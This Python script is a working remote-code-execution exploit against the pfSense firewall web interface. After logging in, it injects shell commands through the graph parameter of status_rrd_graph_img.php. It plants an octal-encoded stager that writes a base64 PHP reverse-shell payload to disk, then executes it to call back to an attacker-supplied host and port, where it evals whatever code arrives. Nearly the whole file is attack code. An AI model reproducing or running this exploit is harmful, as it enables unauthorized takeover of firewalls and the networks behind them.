#!/usr/bin/python3 

import requests
import argparse
import urllib
import urllib3
import collections
import re
import random
import string
import base64

class PfsenseExp():
    def __init__(self, rhost, lhost, lport, user, pwd):
        #Cmd Line Args
        self.rhost = rhost
        self.lhost = lhost
        self.lport = lport
        self.user = user
        self.pwd = pwd

        #Session & Response
        self.session = requests.session()
        self.response = None
        self.cookie = None

    def login(self):
        print("[+]Connecting To Target")
        url = "https://" + self.rhost + "/index.php"
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

        try:
            LOGIN = self.session.get(url, verify=False)
            IDX = LOGIN.text.find("csrfMagicToken")
            TOKEN = LOGIN.text[IDX:IDX+128].split('"')[-1]
            HEADERS = [('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'),
                        ('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
                        ('Accept-Language', 'en-US,en;q=0.5'),
                        ('Referer', url),
                        ('Connection', 'close'),
                        ('Upgrade-Insecure-Requests', '1'),
                        ('Content-Type', 'application/x-www-form-urlencoded')]
            HEADERS = collections.OrderedDict(HEADERS)

        except:
            print("[-]Could not connect to web service - no response")
            exit()

        if TOKEN:
            print("[+]CSRF Token for login: %s" % TOKEN)
            LOGIN_D = [('__csrf_magic', TOKEN), ('usernamefld', self.user), ('passwordfld', self.pwd), ('login','')]
            ENCODED_D = urllib.parse.urlencode(LOGIN_D)

            self.response = self.session.post(url, data=ENCODED_D, cookies=self.session.cookies, headers=HEADERS)

        else:
            print("[-]Could not determine CSRF token")
            exit()

        if self.response.status_code == 200:
            print("[+]Authentication Successful: %s:%s"%(self.user, self.pwd))
            self.cookie = self.response.cookies
        else:
            print("[-]Authentication Failed!")
            print("Status Code: %s"%(self.response))

    def detect_version(self):
        regex = r"Version[\n\t width\"0-9%classr=<>tdh\/]*<strong>(?P<version>[0-9\.\-RELEASEp]+)[\n]?<\/strong>"
        pattern = re.compile(regex)
        VERSION = pattern.search(self.response.text).groups()[0]
        print("[+]Pfsense Version: %s"%(VERSION))

    def exploit(self):
        self.login()
        self.detect_version()

        exploit_url = "https://" + self.rhost + "/status_rrd_graph_img.php"

        size = random.choice(range(5,10))
        filename = "".join(random.choice(string.ascii_letters+string.digits) for i in range(size))

        
        payload = """/*<?php /**/ error_reporting(0); $ip = '%s'; $port = %s;
                if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}");
                $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port);
                $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
                $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); }
                if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; }
                if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b));
                break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type;
                if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();"""% (self.lhost, self.lport)
        payload_b64 = base64.b64encode(payload.encode())
        payload_b64 = payload_b64.decode()

       
        stager = "echo '<?php eval(base64_decode(\"%s\"));?>' >%s"%(payload_b64, filename)

        #Octal Encode
        encoded_stager = ""
        for char in stager:
            encoded_stager += ("\\" + oct(ord(char)).lstrip("0o"))
            

        #Payload upload
        self.response = self.session.get(exploit_url + "?database=-throughput.rrd&graph=file|printf " + "'" + encoded_stager + "'|sh|echo", cookies=self.cookie)
        if self.response.status_code == 200:
            print("[+]Executing filename: %s" % filename)
        else:
            print("[-]Failed to upload stager...")
            exit()
        
        #Payload Execution
        self.response = self.session.get(exploit_url + "?database=-throughput.rrd&graph=file|php " + filename + "|echo", cookies=self.cookie)

       

if __name__ == "__main__":
    
    parser = argparse.ArgumentParser()
    parser.add_argument("--rhost", help = "Remote Host", required = True)
    parser.add_argument('--lhost', help = 'Local Host listener', required = True)
    parser.add_argument('--lport', help = 'Local Port listener', required = True)
    parser.add_argument("--user", help = "pfsense Username", required = True)
    parser.add_argument("--pwd", help = "pfsense Password", required = True)
    args = parser.parse_args()
    
    main = PfsenseExp(args.rhost, args.lhost, args.lport, args.user, args.pwd)
    main.exploit() 
